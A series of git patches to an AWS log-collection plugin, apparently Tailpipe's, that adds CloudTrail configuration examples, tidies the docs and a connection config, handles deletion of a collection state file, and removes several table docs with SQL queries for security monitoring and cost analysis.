+partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/(us-east-1|us-east-2)/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" } } ``` -Collect logs from a custom path: +### Collect logs in a custom path ```hcl -partition "aws_cloudtrail_log" "cloudtrail_logs" { +partition "aws_cloudtrail_log" "my_logs" { source "aws_s3_bucket" { bucket = "cloudtrail-s3-log-bucket" file_layout = "CustomLogs/Dev/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" diff --git a/docs/tables/aws_cloudtrail_log.md b/docs/tables/aws_cloudtrail_log.md index 2bbce7cd..1e08061a 100644 --- a/docs/tables/aws_cloudtrail_log.md +++ b/docs/tables/aws_cloudtrail_log.md @@ -7,8 +7,92 @@ description: "Allows users to query AWS CloudTrail logs." The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. +## Configuration + +CloudTrail logs are normally stored within S3 buckets, so a typical configuration would look like: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + +To reduce the amount of logs stored locally, you can use the `filter` argument in your partition: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + # Avoid saving read-only events, which often make up to 90% of all log entries + filter = "not read_only" + + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + +The `filter` argument values use SQL `where` clause syntax with any of the columns in the `aws_cloudtrail_log` table. + +You can also collect logs for a single account: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +Or for a single region: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +For more examples using the `aws_s3_bucket` source, please see [aws_s3_bucket source](https://hub.tailpipe.io/plugins/turbot/aws/sources/aws_s3_bucket). + +You can also work with local files, like the [public dataset from flaws.cloud](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): + +```hcl +partition "aws_cloudtrail_log" "local_logs" { + source "file" { + paths = ["/Users/mscott/cloudtrail_logs"] + file_layout = "%{DATA}.json.gz" + } +} +``` + ## Queries +For a full list of example queries, please see [aws_cloudtrail_log queries](https://hub.tailpipe.io/plugins/turbot/aws/queries/aws_cloudtrail_log). + ### Root activity Find any actions taken by the root user. @@ -70,9 +154,3 @@ having order by event_count desc; ``` - -Additional queries: - -- [Event count by day](https://hub.tailpipe.io/plugins/turbot/aws/queries) -- [Detect actions from unapproved IP addresses](https://hub.tailpipe.io/plugins/turbot/aws/queries) -- [List VPC security group updates](https://hub.tailpipe.io/plugins/turbot/aws/queries) diff --git a/docs/tables/aws_cloudtrail_log/index.md b/docs/tables/aws_cloudtrail_log/index.md index 764e407c..1e08061a 100644 --- a/docs/tables/aws_cloudtrail_log/index.md +++ b/docs/tables/aws_cloudtrail_log/index.md @@ -7,6 +7,88 @@ description: "Allows users to query AWS CloudTrail logs." The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. +## Configuration + +CloudTrail logs are normally stored within S3 buckets, so a typical configuration would look like: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + +To reduce the amount of logs stored locally, you can use the `filter` argument in your partition: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + # Avoid saving read-only events, which often make up to 90% of all log entries + filter = "not read_only" + + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "aws-cloudtrail-logs-bucket" + } +} +``` + +The `filter` argument values use SQL `where` clause syntax with any of the columns in the `aws_cloudtrail_log` table. + +You can also collect logs for a single account: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +Or for a single region: + +```hcl +connection "aws" "aws_profile" { + profile = "my-profile" +} + +partition "aws_cloudtrail_log" "my_logs" { + source "aws_s3_bucket" { + connection = connection.aws.aws_profile + bucket = "cloudtrail-s3-log-bucket" + file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" + } +} +``` + +For more examples using the `aws_s3_bucket` source, please see [aws_s3_bucket source](https://hub.tailpipe.io/plugins/turbot/aws/sources/aws_s3_bucket). + +You can also work with local files, like the [public dataset from flaws.cloud](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): + +```hcl +partition "aws_cloudtrail_log" "local_logs" { + source "file" { + paths = ["/Users/mscott/cloudtrail_logs"] + file_layout = "%{DATA}.json.gz" + } +} +``` + ## Queries For a full list of example queries, please see [aws_cloudtrail_log queries](https://hub.tailpipe.io/plugins/turbot/aws/queries/aws_cloudtrail_log). From d452896fa1ecacf637d4fa6449d35a6f2b0b9acb Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Wed, 22 Jan 2025 22:34:47 -0500 Subject: [PATCH 146/180] Remove unnecessary link in README and index doc --- README.md | 1 - docs/index.md | 1 - 2 files changed, 2 deletions(-) diff --git a/README.md b/README.md index 884b6d9c..ff8a4148 100644 --- a/README.md +++ b/README.md @@ -4,7 +4,6 @@ Collect and query AWS logs using SQL to track activity, monitor trends, detect a ## Documentation -- **[AWS plugin →](https://hub.tailpipe.io/plugins/turbot/aws)** - **[Table definitions →](https://hub.tailpipe.io/plugins/turbot/aws/tables)** - **[Table queries →](https://hub.tailpipe.io/plugins/turbot/aws/queries)** - **[Source definitions →](https://hub.tailpipe.io/plugins/turbot/aws/sources)** diff --git a/docs/index.md b/docs/index.md index 77d4721c..e29fc31d 100644 --- a/docs/index.md +++ b/docs/index.md @@ -50,7 +50,6 @@ order by ## Documentation -- **[AWS plugin →](https://hub.tailpipe.io/plugins/turbot/aws)** - **[Table definitions →](https://hub.tailpipe.io/plugins/turbot/aws/tables)** - **[Table queries →](https://hub.tailpipe.io/plugins/turbot/aws/queries)** - **[Source definitions →](https://hub.tailpipe.io/plugins/turbot/aws/sources)** From 65f3654cb2b82ca4c3eb8a051f76e76e3854853d Mon Sep 17 00:00:00 2001 From: Graza Date: Thu, 23 Jan 2025 10:18:55 +0000 Subject: [PATCH 147/180] removed unused connection config parameter --- config/aws_connection.go | 1 - 1 file changed, 1 deletion(-) diff --git a/config/aws_connection.go b/config/aws_connection.go index 8dee30d7..d5fe71a0 100644 --- a/config/aws_connection.go +++ b/config/aws_connection.go @@ -33,7 +33,6 @@ type AwsConnection struct { SessionToken *string `hcl:"session_token"` MaxErrorRetryAttempts *int `hcl:"max_error_retry_attempts"` MinErrorRetryDelay *int `hcl:"min_error_retry_delay"` - IgnoreErrorCodes []string `hcl:"ignore_error_codes,optional"` EndpointUrl *string `hcl:"endpoint_url"` S3ForcePathStyle *bool `hcl:"s3_force_path_style"` } From 50ea35dde6444b7bac3a8eddbf970208c2b87641 Mon Sep 17 00:00:00 2001 From: kai Date: Thu, 23 Jan 2025 14:12:55 +0000 Subject: [PATCH 148/180] delete collection state file when saving if empty --- sources/cloudwatch_log_group_collection_state.go | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/sources/cloudwatch_log_group_collection_state.go b/sources/cloudwatch_log_group_collection_state.go index 65609b1a..4edc84a5 100644 --- a/sources/cloudwatch_log_group_collection_state.go +++ b/sources/cloudwatch_log_group_collection_state.go @@ -72,6 +72,15 @@ func (s *AwsCloudwatchCollectionState) Save() error { return fmt.Errorf("collection state path is not set") } + // if we are empty, delete the file + if s.IsEmpty() { + err := os.Remove(s.jsonPath) + if err != nil { + return fmt.Errorf("failed to delete collection state file: %w", err) + } + return nil + } + // write the JSON data to the file, overwriting any existing data err = os.WriteFile(s.jsonPath, jsonBytes, 0644) if err != nil { From b97047eba733f74e97ed0da52905e224dbab0d8c Mon Sep 17 00:00:00 2001 From: kai Date: Thu, 23 Jan 2025 17:07:33 +0000 Subject: [PATCH 149/180] handle collection state deletion error --- sources/cloudwatch_log_group_collection_state.go | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/sources/cloudwatch_log_group_collection_state.go b/sources/cloudwatch_log_group_collection_state.go index 4edc84a5..c5d4cfdf 100644 --- a/sources/cloudwatch_log_group_collection_state.go +++ b/sources/cloudwatch_log_group_collection_state.go @@ -75,7 +75,7 @@ func (s *AwsCloudwatchCollectionState) Save() error { // if we are empty, delete the file if s.IsEmpty() { err := os.Remove(s.jsonPath) - if err != nil { + if err != nil && !os.IsNotExist(err) { return fmt.Errorf("failed to delete collection state file: %w", err) } return nil From 41bfcbc614635b7f12dfac8fd86a67f5bdd2536c Mon Sep 17 00:00:00 2001 From: Cody Bruno Date: Thu, 23 Jan 2025 12:32:40 -0500 Subject: [PATCH 150/180] Remove out of scope tables and sources --- docs/sources/aws_cloudwatch_log_group.md | 19 - docs/tables/aws_alb_access_log.md | 31 - docs/tables/aws_cloudtrail_log.md | 156 - docs/tables/aws_cloudtrail_log_examples.md | 349 - docs/tables/aws_cost_usage_log.md | 388 - docs/tables/aws_elb_access_log.md | 31 - docs/tables/aws_guardduty_finding.md | 58 - docs/tables/aws_lambda_log.md | 31 - docs/tables/aws_s3_server_access_log.md | 31 - docs/tables/aws_securityhub_finding.md | 23 - docs/tables/aws_vpc_flow_log.md | 31 - docs/tables/aws_waf_traffic_log.md | 23 - mappers/cost_usage_mapper.go | 96 - mappers/guardduty_mapper.go | 304 - mappers/lambda_log_mapper.go | 77 - mappers/securityhub_finding_mapper.go | 39 - mappers/vpc_flow_log_mapper.go | 189 - mappers/waf_mapper.go | 39 - rows/alb_access_log.go | 197 - rows/cost_usage_log.go | 41 - rows/elb_access_log.go | 171 - rows/elb_access_log_test.go | 221 - rows/guardduty_finding.go | 117 - rows/lambda_log.go | 23 - rows/s3_server_access_log.go | 170 - rows/securityhub_finding.go | 171 - rows/vpc_flow_log.go | 53 - rows/waf_traffic_log.go | 43 - .../cloudwatch_log_group_collection_state.go | 175 - sources/cloudwatch_log_group_source.go | 211 - sources/cloudwatch_log_group_source_config.go | 16 - tables/alb_access_log_table.go | 95 - tables/cloudtrail_log_table.go | 5 - tables/cost_usage_log_table.go | 84 - tables/elb_access_log_table.go | 91 - tables/guardduty_finding_table.go | 86 - tables/lambda_log_table.go | 73 - tables/s3_server_access_log_table.go | 82 - tables/securityhub_finding_table.go | 73 - tables/vpc_flow_log_table.go | 121 - tables/vpc_flow_log_table_format.go | 36 - tables/waf_traffic_log_table.go | 84 - tests/alb-test.log | 10000 ---------------- tests/alb.sh | 1 - tests/alb_generate.py | 268 - tests/alb_test.tpc | 11 - 46 files changed, 14634 deletions(-) delete mode 100644 docs/sources/aws_cloudwatch_log_group.md delete mode 100644 docs/tables/aws_alb_access_log.md delete mode 100644 docs/tables/aws_cloudtrail_log.md delete mode 100644 docs/tables/aws_cloudtrail_log_examples.md delete mode 100644 docs/tables/aws_cost_usage_log.md delete mode 100644 docs/tables/aws_elb_access_log.md delete mode 100644 docs/tables/aws_guardduty_finding.md delete mode 100644 docs/tables/aws_lambda_log.md delete mode 100644 docs/tables/aws_s3_server_access_log.md delete mode 100644 docs/tables/aws_securityhub_finding.md delete mode 100644 docs/tables/aws_vpc_flow_log.md delete mode 100644 docs/tables/aws_waf_traffic_log.md delete mode 100644 mappers/cost_usage_mapper.go delete mode 100644 mappers/guardduty_mapper.go delete mode 100644 mappers/lambda_log_mapper.go delete mode 100644 mappers/securityhub_finding_mapper.go delete mode 100644 mappers/vpc_flow_log_mapper.go delete mode 100644 mappers/waf_mapper.go delete mode 100644 rows/alb_access_log.go delete mode 100644 rows/cost_usage_log.go delete mode 100644 rows/elb_access_log.go delete mode 100644 rows/elb_access_log_test.go delete mode 100644 rows/guardduty_finding.go delete mode 100644 rows/lambda_log.go delete mode 100644 rows/s3_server_access_log.go delete mode 100644 rows/securityhub_finding.go delete mode 100644 rows/vpc_flow_log.go delete mode 100644 rows/waf_traffic_log.go delete mode 100644 sources/cloudwatch_log_group_collection_state.go delete mode 100644 sources/cloudwatch_log_group_source.go delete mode 100644 sources/cloudwatch_log_group_source_config.go delete mode 100644 tables/alb_access_log_table.go delete mode 100644 tables/cost_usage_log_table.go delete mode 100644 tables/elb_access_log_table.go delete mode 100644 tables/guardduty_finding_table.go delete mode 100644 tables/lambda_log_table.go delete mode 100644 tables/s3_server_access_log_table.go delete mode 100644 tables/securityhub_finding_table.go delete mode 100644 tables/vpc_flow_log_table.go delete mode 100644 tables/vpc_flow_log_table_format.go delete mode 100644 tables/waf_traffic_log_table.go delete mode 100644 tests/alb-test.log delete mode 100644 tests/alb.sh delete mode 100644 tests/alb_generate.py delete mode 100644 tests/alb_test.tpc diff --git a/docs/sources/aws_cloudwatch_log_group.md b/docs/sources/aws_cloudwatch_log_group.md deleted file mode 100644 index 936309a3..00000000 --- a/docs/sources/aws_cloudwatch_log_group.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "Source: aws_cloudwatch_log_group - Obtain logs from AWS CloudWatch Log Groups" -description: "Allows users to collect logs from AWS CloudWatch Log Groups." ---- - -# Source: aws_cloudwatch_log_group - Obtain logs from AWS CloudWatch Log Groups - -An AWS CloudWatch Log Group is a collection of log streams, which are sequences of log events. Log events are records of activity in a system, such as actions taken by users or applications. CloudWatch Log Groups are used to store and manage log data, which can be searched, monitored, and archived. - -## Configuration - -| Property | Description | Default | -|---------------------|------------------------------------------------------------|---------------------------------| -| `connection` | The connection to use to connect to the AWS account. | - | -| `log_group_name` | The name of the CloudWatch Log Group to collect logs from. | - | -| `log_stream_prefix` | A prefix to find matching log streams. | - | -| `start_time` | The start time to collect logs from. | - | -| `end_time` | The end time to collect logs until. | Defaults to current time | -| `region` | The AWS region where the log group is located. | Defaults to connections default | \ No newline at end of file diff --git a/docs/tables/aws_alb_access_log.md b/docs/tables/aws_alb_access_log.md deleted file mode 100644 index 2281f427..00000000 --- a/docs/tables/aws_alb_access_log.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: "Tailpipe Table: aws_alb_access_log - Query AWS Application Load Balancer Access Logs" -description: "Allows users to query AWS Application Load Balancer access logs." ---- - -# Table: aws_alb_access_log - Query AWS Application Load Balancer Access Logs - -*TODO*: Add description - -## Table Usage Guide - -The `aws_alb_access_log` table allows you to query data from AWS Application Load Balancer access logs. This table provides detailed information about client requests made to your Application Load Balancer, including the request time, client IP address, request method, response status code, and more. - -## Examples - -### Top Requested URLs - -Displays the top requested URLs by the number of requests, helping to identify the most frequently accessed resources. - -```sql -select - request_uri, - count(*) as request_count -from - aws_alb_access_log -group by - request_uri -order by - request_count desc -limit 10; -``` \ No newline at end of file diff --git a/docs/tables/aws_cloudtrail_log.md b/docs/tables/aws_cloudtrail_log.md deleted file mode 100644 index 1e08061a..00000000 --- a/docs/tables/aws_cloudtrail_log.md +++ /dev/null @@ -1,156 +0,0 @@ ---- -title: "Tailpipe Table: aws_cloudtrail_log - Query AWS CloudTrail Logs" -description: "Allows users to query AWS CloudTrail logs." ---- - -# Table: aws_cloudtrail_log - Query AWS CloudTrail logs - -The `aws_cloudtrail_log` table allows you to query data from AWS CloudTrail logs. This table provides detailed information about API calls made within your AWS account, including the event name, source IP address, user identity, and more. - -## Configuration - -CloudTrail logs are normally stored within S3 buckets, so a typical configuration would look like: - -```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "aws-cloudtrail-logs-bucket" - } -} -``` - -To reduce the amount of logs stored locally, you can use the `filter` argument in your partition: - -```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - -partition "aws_cloudtrail_log" "my_logs" { - # Avoid saving read-only events, which often make up to 90% of all log entries - filter = "not read_only" - - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "aws-cloudtrail-logs-bucket" - } -} -``` - -The `filter` argument values use SQL `where` clause syntax with any of the columns in the `aws_cloudtrail_log` table. - -You can also collect logs for a single account: - -```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?123456789012/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" - } -} -``` - -Or for a single region: - -```hcl -connection "aws" "aws_profile" { - profile = "my-profile" -} - -partition "aws_cloudtrail_log" "my_logs" { - source "aws_s3_bucket" { - connection = connection.aws.aws_profile - bucket = "cloudtrail-s3-log-bucket" - file_layout = "AWSLogs/(%{DATA:org_id}/)?%{NUMBER:account_id}/CloudTrail/us-east-1/%{YEAR:year}/%{MONTHNUM:month}/%{MONTHDAY:day}/%{DATA}.json.gz" - } -} -``` - -For more examples using the `aws_s3_bucket` source, please see [aws_s3_bucket source](https://hub.tailpipe.io/plugins/turbot/aws/sources/aws_s3_bucket). - -You can also work with local files, like the [public dataset from flaws.cloud](https://summitroute.com/blog/2020/10/09/public_dataset_of_cloudtrail_logs_from_flaws_cloud/): - -```hcl -partition "aws_cloudtrail_log" "local_logs" { - source "file" { - paths = ["/Users/mscott/cloudtrail_logs"] - file_layout = "%{DATA}.json.gz" - } -} -``` - -## Queries - -For a full list of example queries, please see [aws_cloudtrail_log queries](https://hub.tailpipe.io/plugins/turbot/aws/queries/aws_cloudtrail_log). - -### Root activity - -Find any actions taken by the root user. - -```sql -select - event_time, - event_name, - source_ip_address, - user_agent, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - user_identity.type = 'Root' -order by - event_time desc; -``` - -### Top 10 events - -List the top 10 events and how many times they were called. - -```sql -select - event_source, - event_name, - count(*) as event_count -from - aws_cloudtrail_log -group by - event_source, - event_name, -order by - event_count desc -limit 10; -``` - -### High volume S3 access requests - -Find users generating a high volume of S3 access requests to identify potential anomalous activity. - -```sql -select - user_identity.arn as user_arn, - count(*) as event_count, - date_trunc('minute', event_time) as event_minute -from - aws_cloudtrail_log -where - event_source = 's3.amazonaws.com' - and event_name in ('GetObject', 'ListBucket') -group by - user_identity.arn, - event_minute -having - count(*) > 100 -order by - event_count desc; -``` diff --git a/docs/tables/aws_cloudtrail_log_examples.md b/docs/tables/aws_cloudtrail_log_examples.md deleted file mode 100644 index 57f09364..00000000 --- a/docs/tables/aws_cloudtrail_log_examples.md +++ /dev/null @@ -1,349 +0,0 @@ -## Count Examples - -### Daily event counts - -Return a count of events per day to see trends over time. - -```sql -select - strftime(event_time, '%Y-%m-%d') AS event_date, - count(*) AS event_count -from - aws_cloudtrail_log -group by - event_date -order by - event_date asc; -``` - -### Top 10 events - -List the top 10 events and how many times they were called. - -```sql -select - event_source, - event_name, - count(*) as event_count -from - aws_cloudtrail_log -group by - event_source, - event_name, -order by - event_count desc -limit 10; -``` - -### Top 10 events (exclude read-only) - -List the top 10 events, excluding read-only events, and how many times they were called. - -```sql -select - event_source, - event_name, - count(*) as event_count -from - aws_cloudtrail_log -where - not read_only -group by - event_source, - event_name, -order by - event_count desc -limit 10; -``` - -### Event counts by account - -Count and group events by account ID, event source, and event name to highlight activity distribution across accounts. - -```sql -select - event_source, - event_name, - recipient_account_id, - count(*) as event_count -from - aws_cloudtrail_log -group by - event_source, - event_name, - recipient_account_id -order by - event_count desc; -``` - -### Error code counts - -```sql -select - error_code, - count(*) as event_count -from - aws_cloudtrail_log -where - error_code is not null -group by - error_code -order by - event_count desc; -``` - -## Detection Examples - -### Detect default EBS encryption disabled in a region - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_source = 'ec2.amazonaws.com' - and event_name = 'DisableEbsEncryptionByDefault' - and error_code is null -order by - event_time desc; -``` - -### Detect attempts to stop CloudTrail trail logging - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_name in ('StopLogging', 'DeleteTrail') - and event_source = 'cloudtrail.amazonaws.com' - and error_code is not null -order by - event_time desc; -``` - -### Detect unsuccessful AWS console login attempts - -```sql -select - event_time, - event_name, - user_identity.arn as user_arn, - source_ip_address, - user_agent, - aws_region, - recipient_account_id as account_id, - additional_event_data -from - aws_cloudtrail_log -where - event_source = 'signin.amazonaws.com' - and event_name = 'ConsoleLogin' - and error_code is not null -order by - event_time desc; -``` - -### Root activity - -Find any actions taken by the root user. - -```sql -select - event_time, - event_name, - source_ip_address, - user_agent, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - user_identity.type = 'Root' -order by - event_time desc; -``` - -### Detect actions in unapproved regions - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - aws_region not in ('us-east-1', 'us-west-1') -order by - event_time desc; -``` - -### Detect actions from unapproved IP addresses - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - source_ip_address not in ('192.0.2.146', '206.253.208.100') -order by - event_time desc; -``` - -## Operational Examples - -### List VPC security group rule updates - -```sql -select - event_time, - event_source, - event_name, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_source = 'ec2.amazonaws.com' - and event_name in ('AuthorizeSecurityGroupEgress', 'AuthorizeSecurityGroupIngress', 'RevokeSecurityGroupEgress', 'RevokeSecurityGroupIngress') - and error_code is null -order by - event_time desc; -``` - -### List IAM user policy updates - -```sql -select - event_time, - event_source, - event_name, - request_parameters, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - event_source = 'iam.amazonaws.com' - and event_name in ('AttachUserPolicy', 'DetachUserPolicy', 'PutUserPolicy') -order by - event_time desc; -``` - -## Volume Examples - -### Detect high volume of S3 bucket access requests - -```sql -select - user_identity.arn as user_arn, - count(*) as event_count, - date_trunc('minute', event_time) as event_minute -from - aws_cloudtrail_log -where - event_source = 's3.amazonaws.com' - and event_name in ('GetObject', 'PutObject', 'ListBucket') -group by - user_identity.arn, - event_minute -having - count(*) > 100 -order by - event_count desc; -``` - -### Detect excessive IAM role assumption - -```sql -select - user_identity.arn as user_arn, - count(*) as event_count, - date_trunc('hour', event_time) as event_hour -from - aws_cloudtrail_log -where - event_source = 'sts.amazonaws.com' - and event_name = 'AssumeRole' -group by - user_identity.arn, - event_hour -having - count(*) > 10 -order by - event_hour desc, - event_count desc; -``` - -## Baseline Examples - -### Detect unusual source IP addresses for users - -```sql -select - user_identity.arn as user_arn, - source_ip_address, - count(*) as access_count, - date_trunc('day', event_time) as access_day -from - aws_cloudtrail_log -where - source_ip_address not like '%.amazonaws.com' - and source_ip_address not in (select distinct source_ip_address from aws_cloudtrail_log) -group by - user_identity.arn, source_ip_address, access_day -having - access_count > 5 -order by - access_count desc; -``` - -### Detect activity outside of normal hours (between 8 PM and 6 AM) - -```sql -select - event_time, - event_source, - event_name, - request_parameters, - user_identity.arn as user_arn, - source_ip_address, - aws_region, - recipient_account_id as account_id -from - aws_cloudtrail_log -where - cast(strftime(event_time, '%H') as integer) >= 20 - or cast(strftime(event_time, '%H') as integer) < 6 -order by - event_time desc; diff --git a/docs/tables/aws_cost_usage_log.md b/docs/tables/aws_cost_usage_log.md deleted file mode 100644 index dbf0495f..00000000 --- a/docs/tables/aws_cost_usage_log.md +++ /dev/null @@ -1,388 +0,0 @@ ---- -title: "Tailpipe Table: aws_cost_usage_log - Query AWS Cost and Usage Report Data" -description: "Allows users to query AWS Cost and Usage report data." ---- - -# Table: aws_cost_usage_log - Query AWS Cost and Usage Report Data using SQL - -*TODO*: Add description - -## Table Usage Guide - -The `aws_cost_usage_log` table allows you to query data from the AWS Cost and Usage Report. This table provides detailed information about your AWS costs and usage, including cost breakdowns by account, service, usage type, and more. - -## Examples - -### Total Monthly Cost by Account -Calculates the total monthly cost across linked AWS accounts to identify which accounts are incurring the most cost. - -```sql -select - linked_account_id, - linked_account_name, - sum(total_cost) as monthly_total_cost -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - linked_account_id, linked_account_name -order by - monthly_total_cost desc; -``` - -### Top Costly AWS Services -Displays the top AWS services by total cost, helping to identify where the majority of spending occurs. - -```sql -select - product_name, - sum(total_cost) as total_cost -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) - and product_name != '' -group by - product_name -order by - total_cost desc -limit 10; -``` - -### Daily Cost Trend for the Current Month -Tracks the daily expenditure trend to identify unusual cost spikes. - -```sql -select - tp_date, - sum(total_cost) as daily_total_cost -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - tp_date -order by - tp_date; -``` - -### Cost Breakdown by Usage Type -Breaks down costs by usage type, providing insights into specific usage patterns that may drive costs. - -```sql -select - usage_type, - sum(total_cost) as total_usage_cost -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) - and usage_type != '' -group by - usage_type -order by - total_usage_cost desc; -``` - -### High-Cost Operations -Lists operations that have incurred the highest costs, which can indicate potential cost optimization areas. - -```sql -select - operation, - sum(total_cost) as total_operation_cost -from - aws_cost_usage_log -where - operation != '' - and tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - operation -order by - total_operation_cost desc -limit 10; -``` - -### Average Daily Cost for the Current Month -Calculates the average daily cost for the current month, providing a baseline for typical daily expenditure. - -```sql -select - avg(total_cost) as average_daily_cost -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar); -``` - -### Top Accounts by Usage Quantity -Identifies the accounts with the highest usage quantity, helping to associate high usage with specific accounts. - -```sql -select - linked_account_id, - linked_account_name, - sum(usage_quantity) as total_usage_quantity -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - linked_account_id, linked_account_name -order by - total_usage_quantity desc -limit 10; -``` - -### High Tax Amount by Product -Displays products with the highest tax amount, useful for identifying tax-heavy services. - -```sql -select - product_name, - sum(tax_amount) as total_tax_amount -from - aws_cost_usage_log -where - tax_amount > 0 - and tp_date >= cast(date_trunc('year', current_date) as varchar) - and product_name != '' -group by - product_name -order by - total_tax_amount desc; -``` - -### Total Credits by Account -Shows the total credits applied to each account, helping to understand any discounts or rebates. - -```sql -select - linked_account_id, - linked_account_name, - sum(credits) as total_credits -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - linked_account_id, linked_account_name -order by - total_credits desc; -``` - -### Cost Allocation by Product Code (Top 10) -Provides a cost breakdown by product code, aiding in identifying high-cost products. - -```sql -select - product_code, - sum(total_cost) as total_product_cost -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) - and product_code != '' -group by - product_code -order by - total_product_cost desc -limit 10; -``` - -### Highest Cost by Resource Item Description -Identifies the resources or items with the highest cost based on item description to locate costly services or operations. - -```sql -select - item_description, - sum(total_cost) as total_item_cost -from - aws_cost_usage_log -where - tp_date >= cast(date_trunc('month', current_date) as varchar) -group by - item_description -order by - total_item_cost desc -limit 10; -``` - -### Cost Trends by Payer Account -Shows the monthly cost trend for each payer account, useful for tracking cost changes across accounts. - -```sql -select - payer_account_id, - payer_account_name, - date_trunc('month', tp_date) as month, - sum(total_cost) as monthly_cost -from - aws_cost_usage_log -group by - payer_account_id, payer_account_name, month -order by - payer_account_id, month; -``` - -### Monthly Tax Amount by Linked Account -Displays the monthly tax amount by linked account, helping to understand tax-related expenses. - -```sql -select - linked_account_id, - linked_account_name, - sum(tax_amount) as monthly_tax_amount -from - aws_cost_usage_log -where - tp_date 